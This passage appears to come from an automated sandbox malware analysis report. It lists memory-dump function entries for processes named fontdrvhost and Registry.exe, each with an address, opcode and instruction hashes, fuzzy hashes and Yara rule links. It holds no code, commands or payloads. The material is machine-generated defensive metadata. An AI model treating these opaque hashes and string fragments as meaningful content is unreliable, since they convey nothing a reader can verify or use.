Opcode ID: f6425376910cedc3e7f2ceff7e780b02a18dd97bc4434804e36f4600e3ef00cc
Instruction ID: 36f8b973b5965fcc9406f7f1dc7e286aa359194efd484da03d489f6bc1d7f538
Opcode Fuzzy Hash: f6425376910cedc3e7f2ceff7e780b02a18dd97bc4434804e36f4600e3ef00cc
Instruction Fuzzy Hash: BFF0D070E1992D8EDBE4EB58C855FAD77B5EB58340F10C6B6800DE2155DE34AAC58F80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C7726 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f114bd49c17a07a2a28a0a8e6245e17533d6bd899e2e15a680cb332e3abadd55
Instruction ID: 9e618f6e28dd6c117a85546ad73407d06e62c5d1d81cd78d7cd37c1b061a7430
Opcode Fuzzy Hash: f114bd49c17a07a2a28a0a8e6245e17533d6bd899e2e15a680cb332e3abadd55
Instruction Fuzzy Hash: 74F0F835F1851D8ADB18EB94D8A58FCB3B2FF98310B500076E00EA7285DA2869018B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BDC92 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dd6fe5f1922240a836e9bc5c610b4bac6a731015ac31e0a05f3ded7134c2fc9
Instruction ID: 6a0dbab6366ac20cc3be36305bb31133e0b8c373e9b65ff24f30f3ce5865c50f
Opcode Fuzzy Hash: 7dd6fe5f1922240a836e9bc5c610b4bac6a731015ac31e0a05f3ded7134c2fc9
Instruction Fuzzy Hash: 76F0D431A1511D9FEB18DF94D4A09ECB7B2FF88311F65012AD406A37A1DB796941CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BFD0E Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 142cd77670649d642edd46ad84eb73de0dcb1230965c1e0a3b180cc11c4649a4
Instruction ID: 38988ddef970598f852253e21cc8fa123149021642a7a92d84f19f8f1aac7b2a
Opcode Fuzzy Hash: 142cd77670649d642edd46ad84eb73de0dcb1230965c1e0a3b180cc11c4649a4
Instruction Fuzzy Hash: FEF09870E0526D9FDBA4DF54C8A17ED77B1AF98300F1081AA904EA2291CE342E858F80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B11B6 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02547457d6674f1df1f7e1e828613abb61688a4942a83ef5fddad5a47bf4481
Instruction ID: eee0cb107567984eede0c99686d86aeb39815e55b90dc3342081b97c9295f66a
Opcode Fuzzy Hash: b02547457d6674f1df1f7e1e828613abb61688a4942a83ef5fddad5a47bf4481
Instruction Fuzzy Hash: 91C01230D6165E8ADB58ABA4A8214FDB260FB49204F401466E42CA3092EE3026108A80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFD9B8C0BE2 Relevance: 5.1, Strings: 4, Instructions: 127COMMON

Download Yara Rule

Strings

", xrefs: 00007FFD9B8C1681
&, xrefs: 00007FFD9B8C0FA9
,, xrefs: 00007FFD9B8C0F3B
[, xrefs: 00007FFD9B8C0BF6

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: "$&$,$[
API String ID: 0-77890680
Opcode ID: a8e9823fd81a0876cce41cc09ba5ee342498fbd8057167bd39d9eff7ec8ce3ac
Instruction ID: 37235d92a19ab59323d208e9870a478ae7ff4527c793818db0f9234f78e2eace
Opcode Fuzzy Hash: a8e9823fd81a0876cce41cc09ba5ee342498fbd8057167bd39d9eff7ec8ce3ac
Instruction Fuzzy Hash: E751BA70D1522D8FEB68EF94C8957F9B6B1BF48301F5141BAD04DA62A1CB385A84DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B387E Relevance: 5.1, Strings: 4, Instructions: 117COMMON

Download Yara Rule

Strings

/P^I, xrefs: 00007FFD9B8B3924
0P^I, xrefs: 00007FFD9B8B3944
8P^, xrefs: 00007FFD9B8B38D4
.P^I, xrefs: 00007FFD9B8B3954

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: .P^I$/P^I$0P^I$8P^
API String ID: 0-1992887752
Opcode ID: 5dd5a14052fe1ae4bdd9c21e8def97fed91afde7ec2735801bf20b927e8f293d
Instruction ID: eb64c9ea2bf6c2bd14204ba6bc8b931583b844f194750d9eb3141ce4d0d64daf
Opcode Fuzzy Hash: 5dd5a14052fe1ae4bdd9c21e8def97fed91afde7ec2735801bf20b927e8f293d
Instruction Fuzzy Hash: 9B318D5264F7E60FE76387B90C261597FA4AF5724075A40FBD0D4CB0E3D209AA0A8BD2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Registry.exePID: 7188, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9B893565 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b890000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 300cbd866b452b0f09a3de6ab3044a94a39977c8e438f067cb94494825b72850
Instruction ID: 98b10bbaa8ef308d250f46fac4c27f55f4635bea786d7abf861fdb6cdea5dc14
Opcode Fuzzy Hash: 300cbd866b452b0f09a3de6ab3044a94a39977c8e438f067cb94494825b72850
Instruction Fuzzy Hash: 3FA19071A1994E8FEF98DBA8D8257ADBBE1FF99310F8001BAD01DD32D6DB7468018741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89F3C6 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

}, xrefs: 00007FFD9B89F3FD
k, xrefs: 00007FFD9B89F273

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B89F000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b89f000_Registry.jbxd

Similarity

API ID:
String ID: k$}
API String ID: 0-1688146420
Opcode ID: 6ab71de7421d6fa3d0ed5594fd840f9234dd47434a642950bcade358bcc6d3ec
Instruction ID: d851772f673da29af012704becfccfe2e59368a69bb664d2263305f4fb385752
Opcode Fuzzy Hash: 6ab71de7421d6fa3d0ed5594fd840f9234dd47434a642950bcade358bcc6d3ec
Instruction Fuzzy Hash: 1F219330A09A2E8EDF64EF54C8597F9BBB1EB58301F1101EAD00DE62A1DB356AD5DF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A11E1 Relevance: 2.6, Strings: 2, Instructions: 56COMMON

Download Yara Rule

Strings

/, xrefs: 00007FFD9B8A1578
", xrefs: 00007FFD9B8A1221

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8a1000_Registry.jbxd

Similarity

API ID:
String ID: "$/
API String ID: 0-2662438755
Opcode ID: 165d8888809a2d4fa32010e7985961180d6d2db6ca226caf12f309bd3f391e35
Instruction ID: bac856a8a911637cb3066b0855a93ff8d5a08a3fef7cfc1247840a28c9f305e1
Opcode Fuzzy Hash: 165d8888809a2d4fa32010e7985961180d6d2db6ca226caf12f309bd3f391e35
Instruction Fuzzy Hash: 2621D870E0961DCEDB64EF94C8A47ECB7B1FB59305F1002A9D01DA72A5CB386A84CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89D5B9 Relevance: 1.6, Strings: 1, Instructions: 391COMMON

Download Yara Rule

Strings

NM_H, xrefs: 00007FFD9B89D66E

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b89a000_Registry.jbxd

Similarity

API ID:
String ID: NM_H
API String ID: 0-1743349432
Opcode ID: 0e00e487a72b3dbdc9c690dc39cd8b8d2156e0d835209b09169de21a4f7ef268
Instruction ID: 3dafb571cf2d8b6a2ad886c7ecd8474074bec71016e6dbf8e36d30f35caea77e
Opcode Fuzzy Hash: 0e00e487a72b3dbdc9c690dc39cd8b8d2156e0d835209b09169de21a4f7ef268
Instruction Fuzzy Hash: 92E14D71E1965D8FEB68DB98C8A47B8BBB1FF58300F0541BAD01DD32A6DA346941CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89C430 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

^, xrefs: 00007FFD9B89C47A

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b89a000_Registry.jbxd

Similarity

API ID:
String ID: ^
API String ID: 0-1590793086
Opcode ID: 40978b6c0546f64ac00cbb525d21eacd97cc49949457714ff93b47b5c89371e3
Instruction ID: ca503a20f6c0b55b0db6921abe24dea8a0b3002b0ce8fd33616077c7f9e68bdd
Opcode Fuzzy Hash: 40978b6c0546f64ac00cbb525d21eacd97cc49949457714ff93b47b5c89371e3
Instruction Fuzzy Hash: DE412D72A1956ACAE7167BACB8695FC3790FF04324F0506B7D05CC60D7FE6961468A80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A2F42 Relevance: .5, Instructions: 543COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8a1000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e8c9f63ce33d51b488bf9b80da048e56cfd50a4955e1f9ed9bc53c61ef86af8
Instruction ID: ec592fd83a2ca7739e87a281d3ee3e6526e1cf7fbaf23e99e63f3fe6de14bf01
Opcode Fuzzy Hash: 6e8c9f63ce33d51b488bf9b80da048e56cfd50a4955e1f9ed9bc53c61ef86af8
Instruction Fuzzy Hash: FF513D52A0F6DA4FE7375BB85C351A97FA0FF16210B4901F7C498CB0E3ED18A9058361

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A356F Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8a1000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70a1d3f5c80c517aaa195229f4aa79a4e967883b41b0a52eddc10116607f0d27
Instruction ID: d023ad9a2a96c1ad767b7c830c4e39b682ebfe2294e079247239dd078ae81ffe
Opcode Fuzzy Hash: 70a1d3f5c80c517aaa195229f4aa79a4e967883b41b0a52eddc10116607f0d27
Instruction Fuzzy Hash: F5817A63B0952E89D31ABBBCBC294F9BB90EF8533670407F7D199CA0D3EC14604683A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B890F56 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b890000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d9d8e686d53954b683f54711573f0b7600444966ef7765cfd4a170a22ccb666
Instruction ID: ba0b21f2d8ccaa86d0ef60c01a0d95cf2b63aef904a8c6d623b3d43753d48b0c
Opcode Fuzzy Hash: 2d9d8e686d53954b683f54711573f0b7600444966ef7765cfd4a170a22ccb666
Instruction Fuzzy Hash: 9081E571F19A0E4BEBA8DB54C865BE8B7B1EF58710F0002B9D01DD71A5DE346A458B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A3805 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8a1000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad1e77d33c6a7b4976fdb3d560a237c48f74d8b71c3ede012b885503377edd98
Instruction ID: ead5f53583739312bbf074689516800d9f731133528f4dd5890645905a1cd702
Opcode Fuzzy Hash: ad1e77d33c6a7b4976fdb3d560a237c48f74d8b71c3ede012b885503377edd98
Instruction Fuzzy Hash: ED91CA70E1962D8EEBA4EB98D8647ADB7B1FF58300F1141BAD00DE3291DF346A84CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B891DC2 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b890000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ed4778daf4700d0fb4606ddcccf909907fc32870b12fc3ebeec98da1d3b3e6e
Instruction ID: 4a2ee155117869e13209870b709248147d36ea49848b6b0944f529b62c9c55d8
Opcode Fuzzy Hash: 7ed4778daf4700d0fb4606ddcccf909907fc32870b12fc3ebeec98da1d3b3e6e
Instruction Fuzzy Hash: 4F61CE31B1CA498BDF58EF5C98A15A977E2FFDC344B14456EE49EC3296DE30AD028780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8931C5 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b890000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408667b5d4aa9405f63bae2b9801f443f425a9e0c9d840ceb87442446e08d54e
Instruction ID: ff248a6a3af9062bacb6d21190072c12a1232d8ce1efd0050bf61b05a3ea7cf2
Opcode Fuzzy Hash: 408667b5d4aa9405f63bae2b9801f443f425a9e0c9d840ceb87442446e08d54e
Instruction Fuzzy Hash: AB510A70E0A61E8FEF68DBE4D4646EDBBB1FF48311F51017AD009E72A5DA386A41CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A1BF5 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8a1000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d9a72b75bbe8c55f35f34d09f864d0f2944ec936f41d20a6bb8541b3571ebd1
Instruction ID: acbfc2d92c16d715442796dfb05ef0441c0a77d0b5a6fdff83e20b2a4f0d1825
Opcode Fuzzy Hash: 4d9a72b75bbe8c55f35f34d09f864d0f2944ec936f41d20a6bb8541b3571ebd1
Instruction Fuzzy Hash: 6451CC74E0961D8FEB94EFA8C855BACB7B1FF59300F1040A9D04DD7296DE34A982CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B892135 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b890000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6d1f6c6e92c46c05d170cf3af0b6bcc24b50a18820ffc2306e31fdf88b5aba0
Instruction ID: 724a9a1edfd9d5bee9b92f72266a89b53ca86e29da9742c0de89e074fbeea595
Opcode Fuzzy Hash: d6d1f6c6e92c46c05d170cf3af0b6bcc24b50a18820ffc2306e31fdf88b5aba0
Instruction Fuzzy Hash: F8415C31B0E64A4FDB6ADBB898651B87BE0EF8A300B0541FBD00CC71B7DE28B9418341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89C4A0 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b89a000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0b40b98a240e7bb3d4e8a26cb276744b59fe8e17af12812cd7c4daca2b98b75
Instruction ID: a9f9e1abea328537cda6badb3b0643000fb2bf4273ca6cd39f32fece440f8517
Opcode Fuzzy Hash: c0b40b98a240e7bb3d4e8a26cb276744b59fe8e17af12812cd7c4daca2b98b75
Instruction Fuzzy Hash: CF411972B0952E8BEB69BBACE4694FC7B90FF48334F010177D01DC60E2DE25B5458A90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A236D Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8a1000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c352caa74f70ec7dfc6543e5a06494570672119d75c43d8d32fd98de935a975
Instruction ID: 8f0d687ee74cc66b368233775aa7ea5172f577e80e1379481cc6582fc0a8ea6f
Opcode Fuzzy Hash: 2c352caa74f70ec7dfc6543e5a06494570672119d75c43d8d32fd98de935a975
Instruction Fuzzy Hash: 6A411B70E1965D8FDB58EFE8D865AEDB7B1FF58300F01017AE019E32A6DE3469418B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B891150 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b890000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 729ca6e6480592a6f3f67bd1fd95a415e3e0b8500004ba2f4c13793b414f239f
Instruction ID: d386b0637cb2c1af9f6f503f457106e0603bc402b508b0a9f6657b50737b6c83
Opcode Fuzzy Hash: 729ca6e6480592a6f3f67bd1fd95a415e3e0b8500004ba2f4c13793b414f239f
Instruction Fuzzy Hash: C731BD30A1EA5E6EEFA9FBA4C8686B97BE0FF19304F01047ED01ED21E5DE2466408740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A36D3 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8a1000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0b25422456e5c8d718dfb59d09b94e73308749c828e5f5c50d481e9ae8a3c6f
Instruction ID: 0868cc859e5c26a18e9ce1305be703821b2da8b0610a35900c3e4fcd79f7ee07
Opcode Fuzzy Hash: d0b25422456e5c8d718dfb59d09b94e73308749c828e5f5c50d481e9ae8a3c6f
Instruction Fuzzy Hash: 81318C62B0E69D9AE716B7AC6C390F57BA0EF05335B0406F7E11CCA0D3EC2451058361

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89C4FB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b89a000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9b04205798f01550d20a1b31c2c9b56d32c032636ddfdd3d48b6accfeb71321
Instruction ID: 4545829d4ba64a68165feeebc4aa988007754cfb46a68ecb322ee925f3dc17e1
Opcode Fuzzy Hash: f9b04205798f01550d20a1b31c2c9b56d32c032636ddfdd3d48b6accfeb71321
Instruction Fuzzy Hash: A0313A72B0D92B8AEB69BBACB8290FC7B50FF49334F050177D01D850E3DE6562429A90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89BE4D Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b89a000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 999bb717c68760a3f1d8b47cc57afe9adeb99151650871ff4fc921f7255552cc
Instruction ID: 1faec4523695875dd06fb80f305da8722e571453d6213fb04adfc436d5c7b516
Opcode Fuzzy Hash: 999bb717c68760a3f1d8b47cc57afe9adeb99151650871ff4fc921f7255552cc
Instruction Fuzzy Hash: 7231CA75E1991D9FEFA4EBA888A56BCBBB5FF9C300F515039D00DE3292DE3469418B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8933B8 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b890000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3a1bae0e91e7c0629168bfa29ef7297dfc97aa79c3082fefbdaf59b4495a9fd
Instruction ID: f0f942632a4e15b5af2909d9a10e76d212dd604bcd6e5f393c3c12b8bfa46920
Opcode Fuzzy Hash: f3a1bae0e91e7c0629168bfa29ef7297dfc97aa79c3082fefbdaf59b4495a9fd
Instruction Fuzzy Hash: 7D319E3094E68E8FDB52EFB488685A97FF0FF5A310F0605EAD448CB0A2DA389555C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A7335 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8a1000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b103f83e0da10d092df2e4f8f0ea0c69a24577325bd2fc1a157cc07754d944d9
Instruction ID: 222e0d7a1c024170e1baacf60bf6d3442dae8c286d7fc43028fb7a7cad031193
Opcode Fuzzy Hash: b103f83e0da10d092df2e4f8f0ea0c69a24577325bd2fc1a157cc07754d944d9
Instruction Fuzzy Hash: 5331E138B0E60E8BEB75ABA0C4252FD37E0FF48310F56057AD80AD61E5DE38A6459750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A6AE5 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8a1000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99690597c3a999aad1afef06feda4a3b36c6bdeb9844a11cc69072e00dcc98fe
Instruction ID: 47b751f8a1fa4b4da1a8a527f60f693577d8e7d02b734eb0ca77b4c9065e7604
Opcode Fuzzy Hash: 99690597c3a999aad1afef06feda4a3b36c6bdeb9844a11cc69072e00dcc98fe
Instruction Fuzzy Hash: 72318070A0AA0E8FEBA8DFA8C4652BD36A0FF18305F01457AD41DC21E9DE34A651C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A6C1D Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8a1000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83b741f29670c55568fd4bf2845867fc79abdaad1060218f506df6139d97144a
Instruction ID: 7bcfad527b3c9c67614857c0a8084e5fc44defe97dc330ec1b1df6658f5020da
Opcode Fuzzy Hash: 83b741f29670c55568fd4bf2845867fc79abdaad1060218f506df6139d97144a
Instruction Fuzzy Hash: 2521F371A0E64E4BEB699FA888751B93BA0FF19300F0200BED41DC71EADE396616C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A7141 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8a1000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e93bb6734334528980d21b95d55db79971ec857fe910667de960995b995889f0
Instruction ID: ded78f3582dffc84a93c0f50126f500a863c311a6778d8b10581fb7372096d77
Opcode Fuzzy Hash: e93bb6734334528980d21b95d55db79971ec857fe910667de960995b995889f0
Instruction Fuzzy Hash: 4D216A34E0A54E9FEB61EFA888686BE7BE4FF19301F0104B6D418D30A1DA38A2409760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89C4A8 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b89a000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1449aa33796a6e1479b7cfc31a0a421fd8d24ba045076c072e8880ed25f3c000
Instruction ID: b8e5483614946bde4610e84a74fe669ec5fda615edc95a59c734d59e18460e91
Opcode Fuzzy Hash: 1449aa33796a6e1479b7cfc31a0a421fd8d24ba045076c072e8880ed25f3c000
Instruction Fuzzy Hash: 8C210A71E0D55F8BEB65BBACA8295FC3B90FF04324F050277D41CC60E2DE25A6458A50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A7991 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8a1000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc3ec970c26ef4e2dd0c521b53b5cba99c12ebc39e3eb7ef7e7ab8078fa93895
Instruction ID: 81639852a250368aa23dd1de7df46a47b064c4c7491b8ce64e50f433280ac8ee
Opcode Fuzzy Hash: dc3ec970c26ef4e2dd0c521b53b5cba99c12ebc39e3eb7ef7e7ab8078fa93895
